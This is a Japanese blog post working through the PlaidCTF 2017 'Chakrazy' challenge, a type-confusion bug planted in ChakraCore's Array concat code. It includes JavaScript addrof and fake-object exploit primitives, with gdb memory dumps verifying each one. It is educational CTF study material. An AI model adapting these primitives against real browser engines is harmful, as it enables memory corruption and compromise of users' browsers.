Goyotanの電脳_1

書いていく

所感 of Javascript-Engine Exploitation (Vulnerability編)

> お気持ち

こんにちは。GitHub-Pagesは作ったはいいけど、結局はてなで書く:bow:

大学生って想像以上に大変ですね。あと1年が早すぎる。

久しぶりの投稿です。お手柔らかにお願いします👊

> 概要

様々なモノのExploitationを調べていて、最近はVM Escape, Kernel Exploitation, Browser Exploitation, Fuzzing等の勉強をしている。

その中でもここ最近はBrowser Exploitationについて調べていたので、outputとして本記事を書いていこうと思う。

この分野は初めてなので、Vulnerability編とExploitation編に分けて自分の頭を整理していく。


> Web Browser

ブラウザは構造は簡単に、Rendering EngineとJavaScripit Engineに分かれる。

各主要ブラウザはこんな感じ。

f:id:Goyotan:20181224173546p:plain

> Architecture

ここでEdgeのアーキテクチャ図を見てみる。

※ChakraCoreはEdgeからピュアなJS Engineとして分けられている。

https://github.com/Microsoft/ChakraCore/wiki/images/chakracore_componentization.png

ChakraCoreはWindows, Linux, Macでビルドすることができ、簡単に利用することができる。

コマンドラインでChakraCore本体に.jsファイルを渡すと、JSを実行してくれる。

詳しくはGithubを見てほしい。

github.com

> How Works

処理の流れを簡単に示す。

  1. Parse
  2. Compile
  3. Optimize
  4. Execution
  5. GC

JITコンパイラや最適化エンジンが色々頑張ってくれている。


> Impact

ブラウザには多くの機能があり、大変複雑化している。複雑で巨大なモノは脆弱性が発生する確率は高い。

また、ブラウザは世界中で最も使用されているプログラムと言っても過言ではない。つまりは、ブラウザの脆弱性は広い範囲に影響する。

> Vulnerabilities

MS Edgeについて直近3年間の脆弱性について調べた。

この辺りは追記予定。


> PlaidCTF 2017 Chakrazy Pwnable600

さて、概要は何となく理解できた。次は、実際に手を動かして理解を深めようと思う。

しかし、実際のJS EngineをExploitするのは難しいし、そもそもアプローチが分からん分からん。

幸運なことに最近のCTFのPwnable問題ではJS問が出題されていて、Writeupも豊富である。優しい世界。

今回はChakraCoreについて調べていたこともあったので、この問題を理解していく。

配布物は以下の通り。

  • ch // executable file
  • libChakraCore.so // shared library
  • changes.diff // a vulnerable patch

> Environment

配布物として実行ファイルがあるが、デバッグをしやすくするため脆弱なパッチをあててビルドしている。

実験環境

  • Ubuntu 16.04 LTS
  • gdb-peda
  • ASLRは無効(利便性)

> Patch

この問題は、ChakraCoreに脆弱なパッチを適用している。

chabges.diffの内容。

複数の部分で変更されているが、脆弱な部分を示す。

diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
             if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
             {
                 spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
-                if (!JavascriptNativeIntArray::Is(pDestArray))
-                {
-                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
-                    return pDestArray;
-                }
-
                 if(!spreadableCheckedAndTrue)
                 {
                     pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);

このパッチから、JavscriptArray.cpp にある Javascript::ConcatIntArgs() 関数を変更していることが分かる。

pDestArrayJavascriptNativeIntArray であるかないかを判定している分岐処理を削除している。

これにより、型チェックが無くなることで後述する Type Confusion脆弱性が発生する要因となる。

> Leaking Address

脆弱なパッチにより、型チェックが無くなったことが分かった。

Exploit Code より、重要な部分を示す。

function addrof_(obj) {
    // addrof() allows to leak the memory location of an object
    // this function uses the bug in JavascriptArray::ConcatIntArgs
    var a = [0, 1, 2];
    var b = [0, 1, 2];

    var cons = new Function();
    cons[Symbol.species] = function() {
        qq = []; // here qq is just a JavascriptNativeIntArray
        return qq;
    }

    // using the species contructor allows us to get a handle on the result array
    // of functions such as map() or concat()
    a.constructor = cons;

    // Here we define a custom getter for the Symbol.isConcatSpreadable property
    // In it we change the type of qq by simply assigning an object to it
    fakeProp = { get: function() {
        b[1] = obj;
        qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
        return true;
    }};

    Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

    // trigger the vulnerability
    var c = a.concat(b);


    return combine(c[0], c[1]); 
}

addrof_関数は、パッチにより発生した脆弱性を利用するものである。機能は、Type ConfusionによりJavascriptオブジェクトのアドレスをリークする。

先述した通り、ConcatIntArgs() が変更されているので var c = a.concat(b); がトリガーとなる。

JSの concat() 関数呼ぶと、JavascriptArray::EntryConcat()が呼ばれる。

その中で、pDestObj = ArraySpeciesCreate(args[0], 0, scriptContext); が呼ばれる。

pDestObj[Symbol.species] を参照する。

このとき、addrof_関数のように JavascriptNativeIntArray(qq) が返るようにすると、pDestObjがそのオブジェクトを指すようになるらしい。

このことにより、パッチを適用された JavascriptArray::ConcatIntArgs() 関数が呼ばれることになる。

if (pDestObj == nullptr || isArray)
        {
            if (isInt)
            {
                JavascriptNativeIntArray *pIntArray = isArray ? JavascriptNativeIntArray::FromVar(pDestObj) : scriptContext->GetLibrary()->CreateNativeIntArray(cDestLength);
                pIntArray->EnsureHead<int32>();
                pDestArray = ConcatIntArgs(pIntArray, remoteTypeIds, args, scriptContext);
            }

pDestArray = ConcatIntArgs(pIntArray, remoteTypeIds, args, scriptContext);ブレークポイントを設定する。

var a = [1,2,3,4];
var b = [8,9];
var c = a.concat(b);

上記のjsを実行する。

  • 結果
gdb-peda$ p pIntArray 
$11 = (Js::JavascriptNativeIntArray *) 0x7ffff03f8150
gdb-peda$ p args
$12 = {
  <Js::Arguments> = {
    Info = {
      Count = 0x2, 
      Flags = Js::CallFlags::CallFlags_Value, 
      unused = 0x0, 
      static ksizeofCount = 0x18, 
      static ksizeofCallFlags = 0x8, 
      static kMaxCountArgs = 0xffffff
    }, 
    Values = 0x7fffffffafb0
  }, <No data fields>}
gdb-peda$ x/10wx 0x7fffffffafb0
0x7fffffffafb0: 0xf03f80e0  0x00007fff  0xf03dc2a0  0x00007fff
0x7fffffffafc0: 0xffffb040  0x00007fff  0xf595b6e1  0x00007fff
0x7fffffffafd0: 0xf03c97c8  0x00007fff
gdb-peda$ x/30wx 0x00007ffff03f80e0
0x7ffff03f80e0: 0xf6480bd0  0x00007fff  0xf0c24f00  0x00007fff
0x7ffff03f80f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f8100: 0x00000004  0x00000000  0xf03f8120  0x00007fff
0x7ffff03f8110: 0xf03f8120  0x00007fff  0xf7e44680  0x00007fff
0x7ffff03f8120: 0x00000000  0x00000004  0x00000006  0x00000000
0x7ffff03f8130: 0x00000000  0x00000000  0x00000001  0x00000002
0x7ffff03f8140: 0x00000003  0x00000004  0x80000002  0x80000002
0x7ffff03f8150: 0xf6480bd0  0x00007fff
gdb-peda$ x/30wx 0x00007ffff03dc2a0
0x7ffff03dc2a0: 0xf6480bd0  0x00007fff  0xf0c24f00  0x00007fff
0x7ffff03dc2b0: 0x00000000  0x00000000  0x00010005  0x00000000
0x7ffff03dc2c0: 0x00000002  0x00000000  0xf03dc2e0  0x00007fff
0x7ffff03dc2d0: 0xf03dc2e0  0x00007fff  0xf7e44680  0x00007fff
0x7ffff03dc2e0: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc2f0: 0x00000000  0x00000000  0x00000008  0x00000009
0x7ffff03dc300: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc310: 0x00000000  0x00000000
gdb-peda$ 

  • pIntArray: 0x7ffff03f8150
  • args: 0x7fffffffafb0
  • args[0]: 0x00007ffff03f80e0 (var a)
  • args[1]: 0x00007ffff03dc2a0 (var b)

ConcatIntArgs() を読み進めていくと、

uint idxDest = 0u;
        for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
        {
            Var aItem = args[idxArg];
            bool spreadableCheckedAndTrue = false;

            if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
            {
                spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
                if (!JavascriptNativeIntArray::Is(pDestArray))
                {
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
                    return pDestArray;
                }

                if(!spreadableCheckedAndTrue)

上記の、spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; がキモとなる。

addrof_関数で fakeProp にgetterを設定しておくことで、IsConcatSpreadable(aItem)が実行されると設定したgetterが呼ばれる。

この時、addrof_関数では JavascriptNativeIntArray としていた qqJavascriptArray にする。

これにより、aItem の型が JavascriptNativeIntArray から JavascriptArray へと変更される。

pDestArrayconcat() 関数の結果を代入するものである。つまり、同様に pDestArray の型も変更される。

この後、aItemJavascriptNativeIntArray かどうかを検討している。

前述の通り、aItem の型は JavascriptArrayに変更されている。

  • JavascriptArray の場合
else
            {
                JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
                ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
                return pVarDestArray;
            }

JavascriptNativeIntArray::ConvertToVarArray 関数の引数を見てみる。

  • JavascriptNativeIntArray *intArray

引数より、ConvertToVarArray() の第1引数の型は JavascriptNativeIntArray である。

前述の通り、pDestArray の型は JavascriptArray である。

従って、Type Confusion が発生する。

この時の状態を見てみる。JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);ブレークポイントを設定し、 実行前と実行後の変化をみる。

  • 実行前
gdb-peda$ p pIntArray 
$5 = (Js::JavascriptNativeIntArray *) 0x7ffff03f81c0
gdb-peda$ c
Continuing.

(snip)

gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d4140  0x00007fff
0x7ffff03f81f0: 0xf03d4140  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d4140
0x7ffff03d4140: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d4150: 0x00000000  0x00000000  0xf03c8680  0x00007fff
0x7ffff03d4160: 0x00000001  0x00010000  0x00000002  0x00010000
0x7ffff03d4170: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4180: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4190: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d41a0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d41b0: 0x80000002  0x80000002
gdb-peda$ 

  • aのアドレスポインタ (0x00007ffff03d4140)
  • a[0] (0x00007ffff03c8680) == leak_obj
  • a[1] (0x00010000000001) == 1
  • a[2] (0x00010000000002) == 2

次に実行後を見てみる。

  • 実行後
gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf03cbdc0  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d41e0  0x00007fff
0x7ffff03f81f0: 0xf03d41e0  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d41e0
0x7ffff03d41e0: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d41f0: 0x00000000  0x00000000  0xf03c8680  0x00010000
0x7ffff03d4200: 0x00007fff  0x00010000  0x00000001  0x00010000
0x7ffff03d4210: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4220: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4230: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4240: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4250: 0x80000002  0x80000002
gdb-peda$
  • aのアドレスポインタ は(0x00007ffff03d41e0) に変更された
  • ポインタ先[0] (0x00010000f03c8680)
  • ポインタ先[1] (0x0001000000007fff)
  • ポインタ先[2] (0x000100000000001)

ConvertToVarArray() 関数は JavasscriptNativeIntArray 型であるとして処理するため、b のデータを4バイトで読みだす。そして、8バイト単位で変換(コピー)する。

c[0], c[1] には、ポインタ先の[0],[1]が入る。つまり、qq に代入されたオブジェクトのアドレスを得ることができる。

実際に以下のjsを使用して、オブジェクトアドレスを得られているか調べる。

function addrof_(obj) {
    // addrof() allows to leak the memory location of an object
    // this function uses the bug in JavascriptArray::ConcatIntArgs
    var a = [0, 1, 2];
    var b = [0, 1, 2];

    var cons = new Function();
    cons[Symbol.species] = function() {
        qq = []; // here qq is just a JavascriptNativeIntArray
        return qq;
    }

    // using the species contructor allows us to get a handle on the result array
    // of functions such as map() or concat()
    a.constructor = cons;

    // Here we define a custom getter for the Symbol.isConcatSpreadable property
    // In it we change the type of qq by simply assigning an object to it
    fakeProp = { get: function() {
        b[1] = {};
        qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
        return true;
    }};

    Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

    // trigger the vulnerability
    var c = a.concat(b);


    return c; 
}


var boyon = new Uint8Array(16);

//console.log(addrof_(Uint32Array));
console.log(addrof_(boyon));

ここでは、boyonUint8Array(16) の領域を確保して、addrof_関数より boyon のオブジェクトアドレスを取得する。

  • 結果
gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf03cbe40  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d41e0  0x00007fff
0x7ffff03f81f0: 0xf03d41e0  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d41e0
0x7ffff03d41e0: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d41f0: 0x00000000  0x00000000  0xf03c9940  0x00010000
0x7ffff03d4200: 0x00007fff  0x00010000  0x00000001  0x00010000
0x7ffff03d4210: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4220: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4230: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4240: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4250: 0x80000002  0x80000002
gdb-peda$ x/30wx 0x00007ffff03c9940
0x7ffff03c9940: 0xf6463728  0x00007fff  0xf0c25200  0x00007fff
0x7ffff03c9950: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9960: 0x00000010  0x00000000  0xf0c20040  0x00007fff
0x7ffff03c9970: 0x00000001  0x00000000  0x5587d330  0x00005555
0x7ffff03c9980: 0xf647cb00  0x00007fff  0xf0c14450  0x00007fff
0x7ffff03c9990: 0x00000000  0x00000000  0x00000017  0x00000000
0x7ffff03c99a0: 0xf03c99c0  0x00007fff  0x0000000c  0x00000020
0x7ffff03c99b0: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff0c25200
0x7ffff0c25200: 0x0000002b  0x00000000  0xf03e0000  0x00007fff
0x7ffff0c25210: 0xf03f4080  0x00007fff  0xf5c30a00  0x00007fff
0x7ffff0c25220: 0x00000000  0x00000000  0xf0c251c0  0x00007fff
0x7ffff0c25230: 0x00000101  0x00000000  0x00000000  0x00000000
0x7ffff0c25240: 0xf64af7d8  0x00007fff  0x00001d11  0x00000000
0x7ffff0c25250: 0x00000001  0x00000000  0xf03f0000  0x00007fff
0x7ffff0c25260: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff0c25270: 0x00000000  0x00000000
gdb-peda$ 

boyon のオブジェクトアドレス (0x00007ffff03c9940) と得た。

データ構造より、オブジェクトタイプのポインタアドレス (0x00007ffff0c25200) を参照する。

上記より、(0x000000000000002b) を得られる。0x2b == 43 なので、 オブジェクトの型情報 より、Uint8Array と分かる。

従って、取得した boyon の オブジェクトアドレス (0x00007ffff03c9940) は正しいと言える。

以上より、Information Leak が可能であることが分かった。

> Faking Object

さて、aItemJavascriptArray の場合は前章で調べた。

次は、aItemJavascriptNativeIntArray の場合を考えてみる。

 if (JavascriptNativeIntArray::Is(aItem)) // Fast path
            {
                JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
                bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
                idxDest = idxDest + pItemArray->length;
                if (converted)
                {
                    // Copying the last array forced a conversion, so switch over to the var version
                    // to finish.
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                    return pDestArray;
                }
            }

CopyNativeIntArrayElements() 関数の引数定義を見てみる。

  • 第1引数: JavascriptNativeIntArray* dstArray
  • 第2引数: uint32 dstIndex
  • 第3引数: JavascriptNativeIntArray* srcArray
  • 第4引数: uint32 start
  • 第5引数: uint32 en

前述の通り、pDestArray の型は変更することができる。第1引数の dstArray に渡される値は JavascriptNativeIntArrayあるとしている。

従って、Type Cconfusion が発生する。

第3引数: JavascriptNativeIntArray* srcArray から 第1引数: JavascriptNativeIntArray* dstArray へデータがコピーされるということである。

これにより、任意のJavascriptオブジェクトを偽装(追加)することができる。

イメージが掴みにくいので、参考元のコードを用いて検証する。

CopyNativeIntArrayElements() の前後での a の値を見てみる。

function get_addr(target_to_leak)
{
    let a = [1,2,3,4];
    let b = [8,9];
 
    let c = new Function();
    c[Symbol.species] = function() {
        n = [7,7];            
        return n;
    };
    a.constructor = c; // return array n
 
    b.__defineGetter__(Symbol.isConcatSpreadable, () => {
        n[0] = target_to_leak;
        b[0] = {};
        return true;    
    });
 
    let r = a.concat(b);                 
    return [ r[0], r[1] ]   // low, high == 0xD36DC0A0, 0x00000125
}
 
// leak
//var myArr = new Array(1,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0);  
var myArr = new Uint8Array(16);
//console.log(get_addr(myArr));
var [ lo, hi ] = get_addr(myArr);  // 0xD36DC0A0, 0x00000125
 
// 특정 주소에 있는 객체를 반환 
var a = [];
var b = [ lo, hi ];
//console.log(b);
 
var c = new Function();
c[Symbol.species] = function() {
    n = [7,7];            
    return n;
};
a.constructor = c; // return array n
 
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
    n[0] = {};
    return true;    
});
 
let r = a.concat(b);                 
 
// r[0] == myArr
// result: items of r[0]
console.log(r[0])

  • 実行前
Thread 1 "ch" hit Breakpoint 1, Js::JavascriptArray::ConcatIntArgs (
    pDestArray=0x7ffff03dc7e0, remoteTypeIds=0x7fffffffae10, args=..., 
    scriptContext=0x555555872660)
    at /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp:3170
3170    in /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp
gdb-peda$ p pDestArray 
$20 = (Js::JavascriptNativeIntArray *) 0x7ffff03dc7e0
gdb-peda$ 
$21 = (Js::JavascriptNativeIntArray *) 0x7ffff03dc7e0
gdb-peda$ cx/30wx 0x7ffff03dc7e0
Undefined command: "cx".  Try "help".
gdb-peda$ x/30wx 0x7ffff03dc7e0
0x7ffff03dc7e0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03dc7f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03dc800: 0x00000002  0x00000000  0xf03d4280  0x00007fff
0x7ffff03dc810: 0xf03d4280  0x00007fff  0x00000000  0x00000000
0x7ffff03dc820: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc830: 0x00000000  0x00000000  0x00000007  0x00000007
0x7ffff03dc840: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc850: 0x00000000  0x00000000
gdb-peda$ x/40wx 0x00007ffff03d4280
0x7ffff03d4280: 0x00000000  0x00000002  0x00000011  0x00000000
0x7ffff03d4290: 0x00000000  0x00000000  0xf03f56a0  0x00007fff
0x7ffff03d42a0: 0x00000007  0x00010000  0x80000002  0x80000002
0x7ffff03d42b0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42c0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42d0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42e0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42f0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4300: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4310: 0x80000002  0x80000002  0x80000002  0x80000002
gdb-peda$ c
Continuing.
  • pDestArray (0x7ffff03dc7e0)
  • var aの配列アドレス (0x00007ffff03d4280)

この時、var a の配列の中には 0x00007ffff03f56a0 というアドレスがある。

次は実行後を見てみる。

  • 実行後
Thread 1 "ch" hit Breakpoint 2, Js::JavascriptArray::ConcatIntArgs (
    pDestArray=0x7ffff03dc7e0, remoteTypeIds=0x7fffffffae10, args=..., 
    scriptContext=0x555555872660)
    at /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp:3171
3171    in /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp
gdb-peda$ x/30wx 0x7ffff03dc7e0
0x7ffff03dc7e0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03dc7f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03dc800: 0x00000002  0x00000000  0xf03d4280  0x00007fff
0x7ffff03dc810: 0xf03d4280  0x00007fff  0x00000000  0x00000000
0x7ffff03dc820: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc830: 0x00000000  0x00000000  0x00000007  0x00000007
0x7ffff03dc840: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc850: 0x00000000  0x00000000
gdb-peda$ x/40wx 0x00007ffff03d4280
0x7ffff03d4280: 0x00000000  0x00000002  0x00000011  0x00000000
0x7ffff03d4290: 0x00000000  0x00000000  0xf03c9ac0  0x00007fff
0x7ffff03d42a0: 0x00000007  0x00010000  0x80000002  0x80000002
0x7ffff03d42b0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42c0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42d0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42e0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42f0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4300: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4310: 0x80000002  0x80000002  0x80000002  0x80000002
gdb-peda$ x/40wx 0x00007ffff03c9ac0
0x7ffff03c9ac0: 0xf6463728  0x00007fff  0xf0c25200  0x00007fff
0x7ffff03c9ad0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9ae0: 0x00000010  0x00000000  0xf0c20040  0x00007fff
0x7ffff03c9af0: 0x00000001  0x00000000  0x5587d060  0x00005555
0x7ffff03c9b00: 0xf647cb00  0x00007fff  0xf0c14450  0x00007fff
0x7ffff03c9b10: 0x00000000  0x00000000  0x00000017  0x00000000
0x7ffff03c9b20: 0xf03c9b40  0x00007fff  0x0000000c  0x00000020
0x7ffff03c9b30: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9b40: 0xf03f4d80  0x00007fff  0xf0c14d20  0x00007fff
0x7ffff03c9b50: 0xf03f4da0  0x00007fff  0xf03f4dc0  0x00007fff
gdb-peda$ x/30wx 0x00007ffff0c25200
0x7ffff0c25200: 0x0000002b  0x00000000  0xf03e0000  0x00007fff
0x7ffff0c25210: 0xf03f4080  0x00007fff  0xf5c30a00  0x00007fff
0x7ffff0c25220: 0x00000000  0x00000000  0xf0c251c0  0x00007fff
0x7ffff0c25230: 0x00000101  0x00000000  0x00000000  0x00000000
0x7ffff0c25240: 0xf64af7d8  0x00007fff  0x00001d11  0x00000000
0x7ffff0c25250: 0x00000001  0x00000000  0xf03f0000  0x00007fff
0x7ffff0c25260: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff0c25270: 0x00000000  0x00000000
gdb-peda$ 
  • pDestArray (0x7ffff03dc7e0)
  • var aの配列アドレス (0x00007ffff03d4280)

var a の配列の中にあった 0x00007ffff03f56a0 というアドレスが、0x00007ffff03c9ac0 というアドレスに変わっている。 そのアドレスはJavascriptオブジェクトを示している。

データ構造より、オブジェクトタイプのポインタアドレス 0x00007ffff0c25200 を参照してみると、0x2b があった。

したがって、a の中に偽装したUint8Array(16) オブジェクトが作成されていることが確認できる。


> Vulnerability編のまとめ

  • Type Confusionの脆弱性により、Information Leakオブジェクトの偽装 ができる

Javascriptを用いてのExploitationは漠然としたイメージはなく、具体的なアプローチ方法は分からなかった。

しかし、writeupを読みながら手を動かしているとなんとなく理解できた。

Exploitation編も非常に勉強になったので、次の記事でまとめたい。


> 参考文献

bruce30262.github.io

gist.github.com @edgarboda氏が記述したExploitコード

spff.tistory.com

charo-it.hatenablog.jp @Charo_IT氏がタイミングよく分かりやすい資料を出していたので大変参考になった。